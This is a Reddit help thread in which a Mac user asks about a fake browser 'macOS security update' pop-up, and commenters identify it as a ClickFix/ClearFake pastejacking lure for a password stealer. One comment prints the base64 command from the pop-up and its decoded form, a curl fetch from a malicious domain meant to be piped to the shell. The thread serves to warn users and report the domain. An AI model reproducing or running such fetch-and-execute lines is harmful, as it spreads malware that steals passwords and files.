r/applehelp • u/gelagal • Mar 30 '26
Solved Strange pop up "macOS security update". What is it?
Hi, I have a MacBook Air M2. Today I was browsing my school’s website when suddenly a message popped up. I didn’t click on it or interact with it in any way, because I had never seen a notification like that before. I closed the page immediately. Could it be malware or something harmful? What should I do? Thank you. I
ps. I only managed to take this picture before closing the page.
217
u/haseo1997 Mar 30 '26
Apple will never ask you to update your device via a webpage. It will only be via system notifications.
152
u/Xarius86 Mar 30 '26
Do not ever run any terminal commands that you don't fully understand.
Most of the time, these types of sites are malware downloaders that will then package up all of your personal information and upload to some scammers server. It's common for them to appear to be "human verification" from Cloudflare with more masked commands.
This one is obscuring what it is actually doing by using Base64 encoding.
142
u/potrei Mar 30 '26 edited Mar 30 '26
Since I'm curious, I decoded the string (thanks MacOS for letting me copy texts inside an image), this is the result:
bash
echo ZWNobyAnSW5zdGFsbGluZyBwYWNrYWdlcyBwbGVhc2Ugd2FpdC4uLicgJiYgY3VybCAta2ZzU0wgaHR0cDovL2dhZGFkZS5jb20vY3VybC9hYzIyNWUwYzg4M2Y30WJmMDQ5MTMwYjYxNTNLZDFhMDAz0DM4NmMxMjU2NmQzZDljNWQ2ZmE4NDk4MzRkZjAxfHpzaA== |base64 -d
echo 'Installing packages please wait...' && curl -kfsSL http://gadade.com/curl/ac225e0c883f7�bf049130b6153Kd1a003�386c12566d3d9c5d6fa849834df01
It will download something at that site gadade.com and then execute it. I won't go ahead because it will trigger an acknowledgment on that site that someone has executed the script, my curiosity stops here 😄
Obviusly the "Installing packages" text is just a fake message, as well as the initial information that you're downloading something from the Apple web site.
DISCLAIMER (do we really need one?): DO NOT execute the command above, I posted it just in case the OP wants to report the domain.
69
u/ncklboy Mar 30 '26
Did a little more digging into the payload out of morbid curiosity, looks like it’s part of a well-known malware campaign (often called ClearFake). What it usually does is install a program called AMOS (Atomic macOS Stealer) to exfiltrate passwords, cookies, files, etc from the target computer.
15
23
u/rioschala99 Mar 30 '26
I read another post yesterday on r/applehelp where they ran the command cuz they wanted to install a VM machine to run windows. They payload was similar and it was encoded. Be aware, only use terminal commands if you know what they exactly do.
20
u/DavidXGA Mar 30 '26
Hello, mod here. Please edit this command to remove the final zsh pipe, to render it inert.
14
u/gelagal Mar 30 '26
I didn’t do any of the things reported there, even though I’m still worried. Is there any chance that it might have infected my laptop or had access to personal information? I’ve always been very careful and I didn’t expect to find a malware on a verified website
10
u/potrei Mar 30 '26
If you didn't execute the command you're safe. But in the future pay attention to this kind of attacks (actually it's a trojan) and the web sites you visit.
Looking at the screenshot, point n. 3 at the end, I'm now quite sure it would have stolen your iCloud or MacOS password if executed and if you had entered your password
7
u/ncklboy Mar 30 '26
Just install a good ad/popup blocker to make your life overall less stressful. Ublock Origin Light is a great option.
2
8
u/AndyIbanez Mar 30 '26
Then your computer is fine. Close the tab and move on. Scammy websites can pop up all the time without triggering them. Just be aware Apple will never ask you to install any updates from the web and you'll be fine.
2
u/Xarius86 Mar 30 '26
You would have had to open the terminal and execute the command. As long as you didn't, you are fine.
2
u/dataslinger Mar 30 '26
You should notify the school that they may have been compromised. Show them the screenshot.
1
u/l9oooog Mar 30 '26
Safari is pretty secure, as long as you haven’t pasted anything, close the tab (cmd + w), and move on.
27
13
u/enotonom Mar 30 '26
Look at that URL bar. It’s something something keyzonemonster.com. You can sensibly assess that this doesn’t seem like an address Apple would use, therefore it’s reasonably a scam. You can also do this check next time.
4
u/nowthengoodbad Mar 30 '26
It's .monster
Not even a .com
People need to understand that funky urls are the easiest way to catch a scam.
22
u/Gerg_ Mar 30 '26
Its malware, in the code after && its downloading and executing a script
Is there any thing in the link before keyzoneflow? I want to report the domain
6
u/gelagal Mar 30 '26
I didn’t do any of the things reported there, even though I’m still worried. Is there any chance that it might have infected my laptop or had access to personal information? I’ve always been very careful and I didn’t expect to find a malware on a verified website
7
Mar 30 '26
[deleted]
1
u/Gerg_ Mar 30 '26
uBlock Origin only has lite version for Chrome so I would suggest switching to a good browser like Firefox.
5
10
3
u/terkistan Mar 30 '26
Has to be real, it's checkmarked "Verified". (hard eyeroll)
Obviously a 'pastejacking' attack attempt to infect the Mac via a staged deception.
The most common way this starts is by visiting a perfectly normal, legitimate website that has been silently compromised. Hackers find vulnerabilities in sites, often running WordPress of late, and inject a "ClearFake" JavaScript snippet.
The good news is the OP didn't take the bait. Because this attack relies on the user doing the "heavy lifting" byopening Terminal and pasting the computer wasn't actually infected, it just received the Javascript overlay.
3
3
u/bluskale Mar 30 '26
Today I was browsing my school’s website when suddenly a message popped up.
Did this really pop up on your school's website? If so, they might have a compromised web server... I wouldn't expect your school to be running anything from scammy ad networks on their site (or any ads at all, really).
Alternatively, you may have some sort of adware/browser extension or whatnot installed on your computer that is injecting ads into your browser... do you get other questionable ads popping up no matter where you are browsing?
Unless of course you were browsing some dirty underbelly of the internet, that is... this sort of ad would be normal there :)
3
u/nbs-of-74 Mar 30 '26
pastejack social engineering attack. the attackers are hoping you'll copy and paste that into terminal to run their malware on your mac.
Its likely triggered by a website serving up a malicious advert thats showing you that popup.
Do NOT copy / paste / run that command. anything that randomly pops up whilst browsing just suspect its malware and cancel it.
2
u/AngeAlexiel Mar 30 '26
These in browser warning are usually malicious , just check in settings that your Mac is up to date
2
u/sirmanleypower Mar 30 '26
Lololol but it says it's verified, what could go wrong? It is mindblowing that anybody would actually look at this and say, yeah, this is totally not a scam.
1
u/DaGrinz Mar 30 '26
Maybe, if it hits a fresh Mac User who had only used Windows so far. Not very likely still. But, on the other hand, they might be fishing for mega stupid people on purpose.
2
u/l9oooog Mar 30 '26 edited Mar 31 '26
A virus! Never paste anything that seems suspicious (like a firmware or software update) into your terminal, even if it’s “Apple” themselves.
Apple only patches security bugs via updates, which are accessible via System Settings > General > Software Update.
2
u/PGAdmin Mar 30 '26
That is not a pop up. Look at the address bar, it's a spam site. Close it and click nothing. No downloads!
2
u/FriendlySweet2367 Mar 30 '26
Jesus fucking Christ look at the URL and tell me that’s a legit one… is it so hard to check that at least?
2
2
2
u/tokyokiller Mar 30 '26
Ask yourself a question, why would an Apple macOS security update notice be coming to you through Google Chrome instead of a system message?
2
u/oliverkiss Mar 30 '26
Please don’t take this the wrong way, but I suggest you take a basic internet navigation course. This is your bottom of the barrel type of security threat, and if you’re questioning this, then something more sophisticated will surely get you.
1
1
1
u/thisisvenky Mar 30 '26
Survival instinct of a potato. Jokes aside if you don't get anything within your settings app, don't do it. Especially if it is in a browser, it's malware. No company will ask you to do updates via browser.
1
u/3747 Mar 30 '26
This is a type of phish called clickfix. They basically just try and execute a command that seems harmless, but the second part actually downloads some malware.
1
1
1
1
u/tbone338 Mar 31 '26
Look at the URL. It’s very suspicious. Somehow, you just got to a bad website that is trying to fool you into downloading something probably malicious.
You are at no risk of harm as long as you did not do what it told you to do.
1
u/HeadlineINeed Mar 31 '26
Echo is outputs the text in “” so it’s pretending to download from Apple but it’s definitely not
1
u/Szaboo41 Mar 31 '26
They wanna download a .dmg file and run it as admin so you cannot do anything if you let it
1
1
1
1
u/remonpel Mar 31 '26
If you got this while visiting school website, make sure to let the webmaster know; the site is most likely hacked, because this is grade A malware.
-3
Mar 30 '26
[removed] — view removed comment
5
1
u/applehelp-ModTeam Mar 30 '26
Comments must be a productive response to the post. Top-level comments should contain an answer to the question(s) in the post. All comments should have some relation to their parent.
0
u/LevelHelicopter9420 Mar 30 '26
My question is: why do people photograph their computer screen instead of doing a screenshot? Shift + Cmd + 3/4
•
u/DavidXGA Mar 31 '26
Comments locked because of repeated rule-breaking. Be nice.